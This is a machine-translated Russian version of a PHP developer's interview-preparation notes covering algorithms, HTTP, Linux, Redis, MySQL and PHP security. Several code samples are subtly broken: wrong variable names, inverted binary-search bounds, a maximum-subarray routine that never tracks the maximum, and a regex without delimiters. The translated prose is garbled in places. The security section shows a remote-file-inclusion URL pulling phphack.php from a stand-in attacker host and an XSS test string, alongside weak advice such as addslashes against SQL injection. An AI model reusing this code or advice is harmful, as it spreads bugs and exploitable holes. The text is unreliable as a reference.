Резюме интервью PHPer за 3 года

интервью Redis PHP алгоритм Linux

Я видел статью ранее"Восемь лет прохождения собеседования старшим инженером phper",а то недавно я тоже проходил собеседования.Был интервью в таких компаниях как Baidu,360,Didi,Xiaomi,Weibo,58 Ganji,Sogou,Guazi Used Cars и т.д.В итоге я тоже попал в свою любимую компанию.Я многому научился во время интервью, так что я тоже хочу поделиться с вами, хотя мой опыт работы составляет всего около 3 лет.
Примечание: ответы на следующие вопросы являются лишь результатом моего размышления и изучения данных, и они не означают, что они полностью точны.Если есть ошибки, вы можете их исправить, а также можете предложить лучшие решения для обсуждения. .

алгоритм

1. Реализация функции инверсии

/**
 * 反转数组
 * @param  array $arr 
 * @return array
 */
function reverse($arr)
{
	$n = count($arr);

	$left = 0;
	$right = $n - 1;

	while ($left < $right) {
		$temp = $arr[$left];
		$arr[$left++] = $arr[$right];
		$arr[$right--] = $temp;
	}
	
	return $arr;
}

2. Оптимальный алгоритм определения того, имеют ли два упорядоченных множества int одинаковые элементы.

/**
 * 寻找两个有序数组里相同的元素
 * @param  array $arr1 
 * @param  array $arr2 
 * @return array      
 */
function find_common($arr1, $arr2)
{
	$common = array();
	$i = $j = 0;
	$count1 = count($arr1);
	$count2 = count($arr2);
	while ($i < $count1 && $j < $count2) {
		if ($arr1[$i] < $arr2[$j]) {
			$i++;
		} elseif ($arr1[$i] > $arr2[$j]) {
			$j++;
		} else {
			$common[] = $arr[$i];
			$i++;
			$j++;
		}
	}
	return array_unique($common);
}

3. Рандомизировать (перетасовать) элементы в массиве

/**
 * 打乱数组
 * @param  array $arr 
 * @return array      
 */
function custom_shuffle($arr)
{
	$n = count($arr);
	for ($i = 0; $i < $n; $i++) {
		$rand_pos = mt_rand(0, $n-1);
		if ($rand_pos != $i) {
			$temp = $arr[$i];
			$arr[$i] = $arr[$rand_pos];
			$arr[$rand_pos] = $temp;
		}
	}
	return $arr;
}

4. Задайте строку с цифрами и буквами, пусть соединенные цифры и буквы соответствуют

function number_alphabet($str)
{
	$number = preg_split('/[a-z]+/', $str, -1, PREG_SPLIT_NO_EMPTY);
	$alphabet = preg_split('/\d+/', $str, -1, PREG_SPLIT_NO_EMPTY);
	$n = count($number);
	for ($i = 0; $i < $count; $i++) { 
		echo $number[$i] . ':' . $alphabet[$i] . '</br>';
	}
}
$str = '1a3bb44a2ac';
number_alphabet($str);//1:a 3:bb 44:a 2:ac

5. Найдите простые числа в пределах n (определение простых чисел: среди натуральных чисел больше 1, кроме 1 и самого себя, числа, которые не могут делиться на другие натуральные числа)

Идеи: 1. (теорема об экранировании) n не делится ни на одно простое число, не большее корня из n, тогда n — простое число.
2. За исключением количества четных чисел
код показывает, как показано ниже:

/**
 * 求n内的质数
 * @param int $n 
 * @return array
 */
function get_prime($n)
{
	$prime = array(2);//2为质数

	for ($i = 3; $i <= $n; $i += 2) {//偶数不是质数,步长可以加大 
		$sqrt = intval(sqrt($i));//求根号n

		for ($j = 3; $j <= $sqrt; $j += 2) {//i是奇数,当然不能被偶数整除,步长也可以加大。 
			if ($i % $j == 0) {
				break;
			}
		}

		if ($j > $sqrt) {
			array_push($prime, $i);
		}
	}

	return $prime;
}

print_r(getPrime(1000));

6. Проблема кольца Джозефа

Связанная тема: Группа обезьян выстроилась в круг, пронумерованный 1,2,…,n по порядку. Затем начните считать с 1-й птицы, сосчитайте до m-й птицы, вытолкните ее из круга, начните считать с задней части, а затем досчитайте до m-й птицы, вытолкните ее... и так далее, пока не конец Пока не останется только одна обезьяна, эта обезьяна называется королем. Требуется программирование для имитации этого процесса, ввода m, n и вывода числа последнего короля.

/**
 * 获取大王
 * @param  int $n 
 * @param  int $m 
 * @return int  
 */
function get_king_mokey($n, $m) 
{
	$arr = range(1, $n);

	$i = 0;

	while (count($arr) > 1) {
		$i++;
		$survice = array_shift($arr);

		if ($i % $m != 0) {
			array_push($arr, $survice);
		}
	}

	return $arr[0];
}

7. Как быстро найти 1000 наименьших чисел в массиве

Идея: Предполагая, что первые 1000 чисел являются наименьшими, вычислить наибольшее число среди 1000 чисел, а затем сравнить его с 1001-м числом.Если наибольшее число меньше 1001-го числа, пропустить его.Если 1001-е число больше , два числа меняются местами, вычисляется наибольшее число из новых 1000 чисел, а затем сравнивается со следующим числом и так далее.
код показывает, как показано ниже:

//寻找最小的k个数
//题目描述
//输入n个整数,输出其中最小的k个。
/**
 * 获取最小的k个数
 * @param  array $arr 
 * @param  int $k   [description]
 * @return array
 */
function get_min_array($arr, $k)
{
    $n = count($arr);

    $min_array = array();

    for ($i = 0; $i < $n; $i++) {
        if ($i < $k) {
            $min_array[$i] = $arr[$i];
        } else {
            if ($i == $k) {
                $max_pos = get_max_pos($min_array);
                $max = $min_array[$max_pos];
            }

            if ($arr[$i] < $max) {
                $min_array[$max_pos] = $arr[$i];

                $max_pos = get_max_pos($min_array);
                $max = $min_array[$max_pos];
            }
        }
    }

    return $min_array;
}

/**
 * 获取最大的位置
 * @param  array $arr 
 * @return array
 */
function get_max_pos($arr)
{
    $pos = 0;
    for ($i = 1; $i < count($arr); $i++) { 
        if ($arr[$i] > $arr[$pos]) {
            $pos = $i;
        }
    }

    return $pos;
}


$array = [1, 100, 20, 22, 33, 44, 55, 66, 23, 79, 18, 20, 11, 9, 129, 399, 145, 2469, 58];

$min_array = get_min_array($array, 10);

print_r($min_array);

8. Как найти позицию числа в упорядоченном массиве (бинарный поиск)

код показывает, как показано ниже:

/**
 * 二分查找
 * @param  array $array 数组
 * @param  int $n 数组数量
 * @param  int $value 要寻找的值
 * @return int
 */
function binary_search($array, $n, $value)
{
	$left = 0;
	$right = $n - 1;

	while ($left <= $right) {
		$mid = intval(($left + $right) / 2);
		if ($value > $array[$mid]) {
			$right = $mid + 1;
		} elseif ($value < $array[$mid]) {
			$left = $mid - 1;
		} else {
			return $mid;
		}
	}

	return -1;
}

9. Учитывая упорядоченную последовательность целых чисел, найдите элемент с наименьшим абсолютным значением.

Идея: бинарный поиск

/**
 * 获取绝对值最小的元素
 * @param  array $arr
 * @return int  
 */
function get_min_abs_value($arr)
{
	//如果符号相同,直接返回
	if (is_same_sign($arr[0], $arr[$n - 1])) {
		return $arr[0] >= 0 ? $arr[0] : $arr[$n - 1];
	}

	//二分查找
	$n = count($arr);
	$left = 0;
	$right = $n - 1;

	while ($left <= $right) {
		if ($left + 1 === $right) {
			return abs($arr[$left]) < abs($arr[$right]) ? $arr[$left] : $arr[$right];
		}

		$mid = intval(($left + $right) / 2);

		if ($arr[$mid] < 0) {
			$left = $mid + 1;
		} else {
			$right = $mid - 1;
		}
	}
}

/**
 * 判断符号是否相同
 * @param  int  $a 
 * @param  int  $b 
 * @return boolean  
 */
function is_same_sign($a, $b)
{
	if ($a * $b > 0) {
		return true;
	} else {
		return false;
	}
}

10. Найдите все случаи, когда сумма 3 случайных чисел в упорядоченном массиве равна 0.

Идея: динамическое программирование

function three_sum($arr)
{
    $n = count($arr);

    $return = array();

    for ($i=0; $i < $n; $i++) { 
        $left = $i + 1;
        $right = $n - 1;

        while ($left <= $right) {
            $sum = $arr[$i] + $arr[$left] + $arr[$right];

            if ($sum < 0) {
                $left++;
            } elseif ($sum > 0) {
                $right--;
            } else {
                $numbers = $arr[$i] . ',' . $arr[$left] . ',' . $arr[$right];
                if (!in_array($numbers, $return)) {
                    $return[] = $numbers;
                }

                $left++;
                $right--;
            }
        }
    }

    return $return;
}

$arr = [-10, -9, -8, -4, -2, 0, 1, 2, 3, 4, 5, 6, 9];
var_dump(three_sum($arr));

11. Напишите PHP-функцию для нахождения наибольшей непрерывной суммы любых n положительных и отрицательных целых чисел, при этом временная сложность алгоритма должна быть как можно меньше.

Идея: динамическое программирование

/**
 * 获取最大的连续和
 * @param  array $arr 
 * @return int 
 */
function max_sum_array($arr)
{
	$currSum = 0;
	$maxSum = 0;//数组元素全为负的情况,返回最大数

	$n = count($arr);

	for ($i = 0; $i < $n; $i++) { 
		if ($currSum >= 0) {
			$currSum += $arr[$i];
		} else {
			$currSum = $arr[$i];
		}
	}

	if ($currSum > $maxSum) {
		$maxSum = $currSum;
	}

	return $maxSum;
}

компьютерная сеть

1. Разница между GET и POST в HTTP, обратите внимание на последний

  1. GET безвреден, когда браузер отступает, а POST снова отправляет запрос.
  2. URL-адрес, сгенерированный GET, может быть добавлен в закладки, а POST — нет.
  3. Запросы GET будут активно кэшироваться браузером, а запросы POST — нет, если только они не установлены вручную.
  4. Запросы GET могут быть закодированы только в URL-адресе, тогда как POST поддерживает несколько методов кодирования.
  5. Параметры запроса GET будут полностью сохранены в истории браузера, а параметры POST сохранены не будут.
  6. Параметры, передаваемые в URL-адресе для запросов GET, ограничены по длине, а POST — нет.
  7. Для типов данных параметра GET принимает только символы ASCII, а POST не имеет ограничений.
  8. GET менее безопасен, чем POST, поскольку параметры отображаются непосредственно в URL-адресе, поэтому его нельзя использовать для передачи конфиденциальной информации.
  9. Параметры GET передаются через URL-адрес, а POST помещается в тело запроса.
  10. GET создает один TCP-пакет, а POST — два TCP-пакета.

2. Почему Ткп подключение три раза а волна четыре раза

В соединении Tcp SYN и ACK, отправленные сервером клиенту, отправляются одновременно, тогда как в процессе отключения ACK и FIN, отправленные стороной B стороне A, отправляются дважды. Поскольку после того, как сторона B получит FIN от стороны A, у стороны B все еще могут быть данные для передачи, поэтому сначала отправьте ACK и подождите, пока сторона B обработает свои собственные дела, прежде чем отправлять FIN для отключения.

3. Где находится файл cookie?

  1. Если установлен срок действия, файл cookie сохраняется на жестком диске.
  2. Срок действия не установлен, куки хранятся в памяти

4. Разница и взаимосвязь между COOKIE и SESSION

  1. COOKIE хранится на стороне клиента, а SESSION — на стороне сервера.
  2. С точки зрения безопасности SESSION более безопасен
  3. С точки зрения сохранения типа содержимого, cookie сохраняет только строки (и может быть автоматически преобразован в строки)
  4. С точки зрения размера сохраняемого контента, контент, сохраняемый COOKIE, ограничен и относительно мал, в то время как SESSION в основном не имеет этого ограничения.
  5. С точки зрения производительности использование SESSION будет оказывать большее давление на сервер.
  6. SESSION зависит от COOKIE, но также может передаваться через URL, если COOKIE отключен

Linux

1. Как сделать файл доступным только для чтения для текущего пользователя

chmod u=r имя файла

2. Атрибуты процесса Linux

  1. Процесс: говорят, что используют PID, его значение уникально
  2. Родительский процесс: представлен ppid
  3. Пользователь, запустивший процесс: представлен UID
  4. Группа, к которой принадлежит пользователь, запустивший процесс: представлена ​​GID
  5. Состояние процесса: работает R, готов W, спящий S, зомби Z

3. Подсчитайте количество посещений сайта в определенный день

awk '{print $1}' /var/log/access.log | sort | uniq | wc -l

Рекомендуемая статья, рассказ о фактическом использовании awkОболочка анализирует журнал сервера вручную

Nginx

1. Разница между прослушиванием fastcgi через порты и прослушиванием через файлы

Метод мониторинга форма ссылка на nginx через fastcgi
порт прослушивания fastcgi_pass 127.0.0.1:9000 TCP-ссылка
мониторинг файлов fastcgi_pass /tmp/php_cgi.sock Unix domain Socket

2. Реализация балансировки нагрузки nginx

  1. голосование
  2. Хэш IP-адреса пользователя
  3. Укажите веса
  4. честный (третья сторона)
  5. url_hash (третья сторона)

Memcache/Redis

Каковы данные мастера REDIS? (т.е. репликация)

Независимо от первоначального подключения или повторного подключения, когда подчиненный сервер установлен, подчиненный сервер отправит команду SYNC с главного сервера. Главный сервер, получивший команду SYNC, начнет выполнение BGSAVE, и во время выполнения операции сохранения все вновь выполненные команды будут сохранены в буфере.При выполнении BGSAVE главный сервер выполнит .rdb, полученный операция сохранения Файл отправляется на подчиненный сервер, который получает файл .rdb с сервера и загружает данные из файла в память. После этого главный сервер будет отправлять весь контент, накопленный в буфере команд записи, на подчиненный сервер в формате командного протокола Redis.

2. Частота попаданий в кэш Memcache

Коэффициент попаданий в кэш = get_hits/cmd_get * 100%

3. Реализация кластера Memcache

Согласованный хэш

4. Разница между Memcache и Redis

  1. Memcache
    • Сам продукт, особенно хранение данных в памяти, при внезапном отключении сервера все данные будут потеряны
    • Данные, хранящиеся в одном ключе (переменной), имеют ограничение в 1M.
    • Тип хранимых данных - все типы String
    • Самой функции персистентности нет
    • Может использовать несколько ядер (многопоточность)
  2. Redis
    • Богатые типы данных: String, List, Set, Sortedset, Hash
    • Благодаря функции сохранения данные могут быть сохранены на диске в любое время.
    • Он имеет определенную функцию расчета
    • Данные, хранящиеся в одном ключе (переменной), ограничены 1 ГБ.

MySQL

1. При выполнении оператора SQL: выберите count(*) из статей, что быстрее, MyISAM или InnoDB.

MyISAM работает быстро, потому что MyISAM сам записывает число, а InnoDB должен сканировать данные

3. Неявное преобразование

  • Когда поле запроса имеет тип INT, если условие запроса — CHAR, преобразуйте условие запроса в INT. Если ведущая строка является числом, оно будет перехвачено. Если это не так, оно будет преобразовано в 0.
  • Когда поля запроса имеют тип CHAR/VARCHAR, если запрос INT, поле запроса INT заменяется другим сравнением, это может привести к полному сканированию таблицы

2. Принцип крайнего левого префикса

Есть составной индекс:INDEX(`a`, `b`, `c`)

Как пользоваться Можно использовать индекс
select * from users where a = 1 and b = 2 А и б можно использовать
select * from users where b = 2 and a = 1 Можно использовать A и b (с оптимизатором запросов MySQL)
select * from users where a = 2 and c = 1 может использовать
select * from users where b = 2 and c = 1 не может

3. Разница между кластеризованным индексом и некластеризованным индексом

Листовые узлы кластеризованного индекса являются узлами данных, в то время как узлы страниц некластеризованного индекса по-прежнему являются контрольными точками индекса и сохраняют ссылку, указывающую на соответствующий блок данных.

PHP

1. Можно ли установить срок действия сеанса через 30 минут?

  1. Установите session.cookie_lifetime на 30 минут и установите session.gc_maxlifetime на 30 минут.
  2. Добавляйте отметку времени для каждого значения сеанса самостоятельно
  3. Перед каждым посещением определяйте метку времени

2. Несколько способов межпроцессного взаимодействия PHP

  • очередь сообщений
  • Семафор + общая память
  • Сигнал
  • трубопровод
  • socket

3. Плюсы и минусы статических вызовов и вызовов экземпляров php-классов

Статический метод — это метод-член класса, который принадлежит всему классу и может вызываться напрямую, даже без создания каких-либо объектов! Статические методы более эффективны, чем экземпляры, недостаток статических методов в том, что они не уничтожаются автоматически, в то время как экземпляры могут быть уничтожены.

4. Вызов метода массива класса

Интерфейс ArrayAccess

5. Напишите на php функцию для получения последних n строк текстового файла, которая должна быть максимально эффективной и может использоваться на разных платформах.

function tail($file, $num)
{  
    $fp = fopen($file,"r");  
    $pos = -2;
    $eof = "";  
    $head = false;   //当总行数小于Num时,判断是否到第一行了  
    $lines = array();  
    while ($num > 0) {  
        while($eof != PHP_EOL){  
            if (fseek($fp, $pos, SEEK_END) == 0) {    //fseek成功返回0,失败返回-1  
                $eof = fgetc($fp);
                $pos--;  
            } else {                            //当到达第一行,行首时,设置$pos失败  
                fseek($fp, 0, SEEK_SET);
                $head = true;                   //到达文件头部,开关打开  
                break;  
            }  
        }  
        array_unshift($lines, str_replace(PHP_EOL, '', fgets($fp)));   
        if ($head) {//这一句,只能放上一句后,因为到文件头后,把第一行读取出来再跳出整个循环  
        	break; 
        }                 
        $eof = "";  
        $num--;  
    }  
    fclose($fp);  
    return $lines;  
}  

6.SERVER['SERVER_NAME']和Разница между СЕРВЕРОМ['HTTP_HOST']

Тот же пункт: Оба будут выводить одинаковую информацию при выполнении следующих трех условий.

  1. Сервер - порт 80
  2. Имя сервера правильно установлено в конфигурации apache.
  3. Спецификация протокола HTTP/1.1

разница:

  1. Как правило:_SERVER["HTTP_HOST"] 在HTTP/1.1协议规范下,会根据客户端的HTTP请求输出信息。_SERVER["SERVER_NAME"] по умолчанию напрямую выводит значение ServerName в файле конфигурации apache httpd.conf.
  2. Когда сервер не порт 80:_SERVER["HTTP_HOST"] 会输出端口号,例如:``coffeephp.com:8080``_SERVER["SERVER_NAME"] будет напрямую выводить значение ServerName. Таким образом, в этом случае это можно понять как:_SERVER['HTTP_HOST'] =_SERVER['SERVER_NAME'] : $_SERVER['SERVER_PORT']
  3. Когда имя сервера в файле конфигурации httpd.conf не соответствует доменному имени запроса HTTP/1.0: httpd.conf настроен следующим образом:
<virtualhost *>    
 ServerName jsyzchen.com    
 ServerAlias blog.jsyzchen.com    
</virtualhost>

Имя домена клиентского доступаblog.jsyzchen.com _SERVER["HTTP_HOST"] 输出 ``blog.jsyzchen.com``_SERVER["ИМЯ_СЕРВЕРА"] выводjsyzchen.com

7. На какие параметры повлияет открытие safe_mode php.ini

Когда safe_mode=On, появятся следующие ограничения:

  1. Все функции ввода и вывода (такие как fopen(), file() и require()) ограничены файлами, имеющими того же владельца, что и скрипт, который их вызывает. Например, при включенном безопасном режиме, если сценарий, принадлежащий Марии, вызывает fopen(), чтобы попытаться открыть файл, принадлежащий Джону, то произойдет сбой. Однако, если Мэри владеет не только сценарием, вызывающим fopen(), но и файлом, который вызывает fopen(), все будет выполнено успешно.
  2. Если делается попытка выполнить скрипт через функции popen(), system() или exec() и т. д., это возможно только в том случае, если скрипт находится в каталоге, указанном директивой конфигурации safe_mode_exec_dir.
  3. Аутентификация HTTP дополнительно улучшена, поскольку UID пользователя сценария аутентификации относится к сфере аутентификации. Кроме того, при включенном безопасном режиме PHP_AUTH не устанавливается.
  4. При использовании сервера базы данных MySQL имя пользователя, используемое для подключения к серверу MySQL, должно совпадать с именем пользователя владельца файла, вызвавшего mysql_connect().
    Подробные пояснения можно найти на официальном сайте:woohoo.php.net/manual/this/i… php safe_mode влияет на параметры
Имя функции ограничение
dbmopen() Проверьте, имеет ли обрабатываемый файл или каталог тот же UID (владелец), что и исполняемый скрипт.
dbase_open() Проверьте, имеет ли обрабатываемый файл или каталог тот же UID (владелец), что и исполняемый скрипт.
filepro() Проверьте, имеет ли обрабатываемый файл или каталог тот же UID (владелец), что и исполняемый скрипт.
filepro_rowcount() Проверьте, имеет ли обрабатываемый файл или каталог тот же UID (владелец), что и исполняемый скрипт.
filepro_retrieve() Проверьте, имеет ли обрабатываемый файл или каталог тот же UID (владелец), что и исполняемый скрипт.
ifx_* sql_safe_mode лимит, (!= безопасный режим)
ingres_* sql_safe_mode лимит, (!= безопасный режим)
mysql_* sql_safe_mode лимит, (!= безопасный режим)
pg_loimport() Проверьте, имеет ли обрабатываемый файл или каталог тот же UID (владелец), что и исполняемый скрипт.
posix_mkfifo() Проверьте, имеет ли управляемый каталог тот же UID (владелец), что и исполняемый скрипт.
putenv() Следуйте параметрам safe_mode_protected_env_vars и safe_mode_allowed_env_vars, установленным в ini. Пожалуйста, обратитесь к документации по функции putenv().
move_uploaded_file() Проверьте, имеет ли обрабатываемый файл или каталог тот же UID (владелец), что и исполняемый скрипт.
chdir() Проверьте, имеет ли управляемый каталог тот же UID (владелец), что и исполняемый скрипт.
dl() Эта функция отключена в безопасном режиме.
backtick operator Эта функция отключена в безопасном режиме.
shell_exec() (Функционально идентично функции обратных кавычек) Эта функция отключена в безопасном режиме.
exec() Операции выполнения могут выполняться только в каталоге, заданном параметром safe_mode_exec_dir. По какой-то причине в настоящее время нельзя использовать ... в пути к исполняемому объекту. escapeshellcmd() будет применяться к аргументам этой функции.
system() Операции выполнения могут выполняться только в каталоге, заданном параметром safe_mode_exec_dir. По какой-то причине в настоящее время нельзя использовать ... в пути к исполняемому объекту. escapeshellcmd() будет применяться к аргументам этой функции.
passthru() Операции выполнения могут выполняться только в каталоге, заданном параметром safe_mode_exec_dir. По какой-то причине в настоящее время нельзя использовать ... в пути к исполняемому объекту. escapeshellcmd() будет применяться к аргументам этой функции.
popen() Операции выполнения могут выполняться только в каталоге, заданном параметром safe_mode_exec_dir. По какой-то причине в настоящее время нельзя использовать ... в пути к исполняемому объекту. escapeshellcmd() будет применяться к аргументам этой функции.
fopen() Проверьте, имеет ли управляемый каталог тот же UID (владелец), что и исполняемый скрипт.
mkdir() Проверьте, имеет ли управляемый каталог тот же UID (владелец), что и исполняемый скрипт.
rmdir() Проверьте, имеет ли управляемый каталог тот же UID (владелец), что и исполняемый скрипт.
rename() Проверьте, имеет ли обрабатываемый файл или каталог тот же UID (владелец), что и исполняемый скрипт. Проверьте, имеет ли управляемый каталог тот же UID (владелец), что и исполняемый скрипт.
unlink() Проверьте, имеет ли обрабатываемый файл или каталог тот же UID (владелец), что и исполняемый скрипт. Проверьте, имеет ли управляемый каталог тот же UID (владелец), что и исполняемый скрипт.
copy() Проверьте, имеет ли обрабатываемый файл или каталог тот же UID (владелец), что и исполняемый скрипт. Проверьте, имеет ли управляемый каталог тот же UID (владелец), что и исполняемый скрипт. (по источнику и цели)
chgrp() Проверьте, имеет ли обрабатываемый файл или каталог тот же UID (владелец), что и исполняемый скрипт.
chown() Проверьте, имеет ли обрабатываемый файл или каталог тот же UID (владелец), что и исполняемый скрипт.
chmod() Проверьте, имеет ли обрабатываемый файл или каталог тот же UID (владелец), что и исполняемый скрипт. Также нельзя установить SUID, SGID и липкие биты.
touch() Проверьте, имеет ли обрабатываемый файл или каталог тот же UID (владелец), что и исполняемый скрипт. Проверьте, имеет ли управляемый каталог тот же UID (владелец), что и исполняемый скрипт.
symlink() Проверьте, имеет ли обрабатываемый файл или каталог тот же UID (владелец), что и исполняемый скрипт. Проверьте, имеет ли управляемый каталог тот же UID (владелец), что и исполняемый скрипт. (примечание: только тестовая цель)
link() Проверьте, имеет ли обрабатываемый файл или каталог тот же UID (владелец), что и исполняемый скрипт. Проверьте, имеет ли управляемый каталог тот же UID (владелец), что и исполняемый скрипт. (примечание: только тестовая цель)
apache_request_headers() В безопасном режиме заголовки, начинающиеся с «авторизации» (с учетом регистра), не возвращаются.
header() В безопасном режиме, если установлена ​​WWW-Authenticate, uid текущего скрипта будет добавлен к области области этого заголовка.
Переменная PHP_AUTH В безопасном режиме переменные PHP_AUTH_USER, PHP_AUTH_PW и PHP_AUTH_TYPE недоступны в $_SERVER. Но в любом случае вы можете использовать REMOTE_USER для получения имени пользователя (USER). (Примечание: действует только после PHP 4.3.0)
highlight_file(), show_source() Проверьте, имеет ли обрабатываемый файл или каталог тот же UID (владелец), что и исполняемый скрипт. Проверьте, имеет ли управляемый каталог тот же UID (владелец), что и исполняемый скрипт. (Примечание, действует только после версии 4.2.1)
parse_ini_file() Проверьте, имеет ли обрабатываемый файл или каталог тот же UID (владелец), что и исполняемый скрипт. Проверьте, имеет ли управляемый каталог тот же UID (владелец), что и исполняемый скрипт. (Примечание, действует только после версии 4.2.1)
set_time_limit() Не работает в безопасном режиме.
max_execution_time Не работает в безопасном режиме.
mail() В безопасном режиме пятый параметр маскируется.

8. PHP решает проблему одновременной записи файла несколькими процессами

function write($str)
{
    $fp = fopen($file, 'a');
    do {
        usleep(100);
    } while (!flock($fp, LOCK_EX));
    fwrite($fp, $str . PHP_EOL);
    flock($fp, LOCK_UN);
    fclose($fp);
}

9. Суперглобальные переменные в PHP

  • $GLOBALS
  • $_SERVER
  • $_GET
  • $_POST
  • $_FILES
  • $_COOKIE
  • $_SESSION
  • $_REQUEST
  • $_ENV

10. Новые возможности php7

  • ?? оператор (оператор объединения NULL)
  • объявление типа возвращаемого значения функции
  • Объявление скалярного типа
  • использовать пакетный оператор
  • define может определять массив констант
  • Закрытие добавляет метод вызова Подробности можно узнать на официальном сайте:php7-new-features

11. Оптимизация отличной производительности php7

  • Уменьшить количество выделений памяти
  • Используйте больше стековой памяти
  • Кэшировать хеш-значение массива
  • Разбор строки в eucalyptus вместо раскрытия макроса
  • Используйте большие куски непрерывной памяти вместо маленьких кусков фрагментированной памяти. Для получения подробной информации см. PPT Brother Bird:Источник производительности PHP7

12. Угрозы безопасности include($_GET['p'])

Теперь можно использовать любой хак:http://www.yourdomain.com/index.php?p=anyfile.txtдля получения вашей конфиденциальной информации или выполнения PHP-скрипта. Если allow_url_fopen=On, вы еще более мертвы: Попробуйте этот ввод:http://www.yourdomain.com/index.php?p=http://youaredoomed.com/phphack.phpТеперь ваша страница содержитhttp://www.youaredoomed.com/phphack.phpВывод: хакеры могут рассылать спам, менять пароли, удалять файлы и прочее. пока вы можете себе представить.

13. Перечислите некоторые способы предотвращения SQL-инъекций, XSS-атак, CSRF-атак.

SQL-инъекция:

  • функция добавления слешей
  • mysql_real_escape_string/mysqli_real_escape_string/PDO::quote()
  • Предварительная обработка PDO XSS: htmlспециальная функция CSRF:
  • Аутентификация HTTP REFERER
  • Авторизоваться с помощью токена

14. Как безопасно получить доступ к интерфейсу

jwt или проверить подпись

15. Какие есть шаблоны проектирования в PHP

  • одноэлементный шаблон
  • заводской узор
  • лицевой режим (фасад)
  • Шаблон регистратора
  • режим стратегии
  • режим прототипа
  • Шаблон декоратора больше увидетьВведение в шаблоны проектирования PHPэта статья

16. Убедитесь, что IP правильный

function check_ip($ip)
{
	if (!filter_var($ip, FILTER_VALIDATE_IP)) {
	return false;
	} else {
		return true;
	}
}

17. Убедитесь, что даты разумны

function check_datetime($datetime)
{
	if (date('Y-m-d H:i:s', strtotime($datetime)) === $datetime) {
		return true;
	} else {
		return false;
	}
}

18. Напишите регулярное выражение для фильтрации JS-скриптов (и удалите как тег script, так и его содержимое)

$text = '<script>alert('XSS')</script>';
$pattern = '<script.*>.*<\/script>/i';
$text = preg_replace($pattern, '', $text);

19. Отмена заказа без оплаты в течение 30 минут после оформления заказа

Первое решение: пассивная экспирация + cron, то есть когда пользователь проверяет базу на наличие оплаты + регулярная очистка. Вторая схема: отложенная задача, проверить успешно ли оплачен заказ, когда придет время, и отменить заказ, если он не оплачен

20. Спроектируйте систему шипов

Идея: использовать очередь Redis

$ttl = 4;
$random = mt_rand(1,1000).'-'.gettimeofday(true).'-'.mt_rand(1,1000);

$lock = fasle;
while (!$lock) {
    $lock = $redis->set('lock', $random, array('nx', 'ex' => $ttl));
}

if ($redis->get('goods.num') <= 0) {
    echo ("秒杀已经结束");
    //删除锁
    if ($redis->get('lock') == $random) {
        $redis->del('lock');
    }
    return false;
}

$redis->decr('goods.num');
echo ("秒杀成功");
//删除锁
if ($redis->get('lock') == $random) {
    $redis->del('lock');
}
return true;

21. Пожалуйста, разработайте метод реализации, который может найти соответствующую провинцию и город для определенного IP, и эффективность должна быть максимально высокой.

//ip2long,把所有城市的最小和最大Ip录进去
$redis_key = 'ip';
$redis->zAdd($redis_key, 20, '#bj');//北京的最小IP加#
$resid->zAdd($redis_key, 30, 'bj');//最大IP

function get_ip_city($ip_address)
{
	$ip = ip2long($ip_address);

	$redis_key = 'ip';
	$city = zRangeByScore($redis_key, $ip, '+inf', array('limit' => array(0, 1)));
	if ($city) {
		if (strpos($city[0], "#") === 0) {
			echo '城市不存在!';
		} else {
			echo '城市是' . $city[0];
		}
	} else {
		echo '城市不存在!';
	}
}

разное

1. Доступ к веб-сайту/приложению медленный и внезапно замедляется, как определить проблему

  1. Вверху, iostat для просмотра использования процессора, памяти и ввода-вывода
  2. Настройки параметров ядра и программы необоснованны Проверьте, не сообщается ли об ошибке ядра, не достигло ли максимальное количество подключений и файлов, открытых пользователями, и т. д.
  3. Сама ссылка медленная Будь то кросс-оператор, недостаточная пропускная способность восходящей и нисходящей линии связи пользователя, медленное разрешение DNS, широковещательный шторм внутрисерверной сети и т. д.
  4. Необоснованное программирование Является ли алгоритм самой программы слишком плохим, оператор базы данных слишком сложным или какая функция только что запущена.
  5. Вызвано другими связанными программами Если вы хотите получить доступ к базе данных, проверьте, медленный ли доступ к базе данных
  6. подвергся нападению Проверьте, не находится ли сервер в состоянии DDosed и т. д.
  7. аппаратная неисправность Обычно это висит прямо на сервере, а не медленный доступ

2. Как создать/оптимизировать блог/форум с высокой посещаемостью

  • Сокращение HTTP-запросов (например, использование спрайтов)
  • Оптимизация базы данных (парадигма, операторы SQL, индексы, конфигурация, разделение чтения и записи)
  • Использование кеша (Memcache, Redis)
  • балансировки нагрузки
  • Динамический статический контент + CDN
  • Запретить внешние хотлинки (ссылки, водяные знаки на изображениях)
  • Контролируйте загрузку больших файлов
  • Использовать кластер

3. Как создать приватную библиотеку Composer

использоватьsatisстроить
Введение в связанные статьи:Используйте satis для создания частной библиотеки Composer

Оригинальная ссылка:Резюме интервью PHPer за 3 года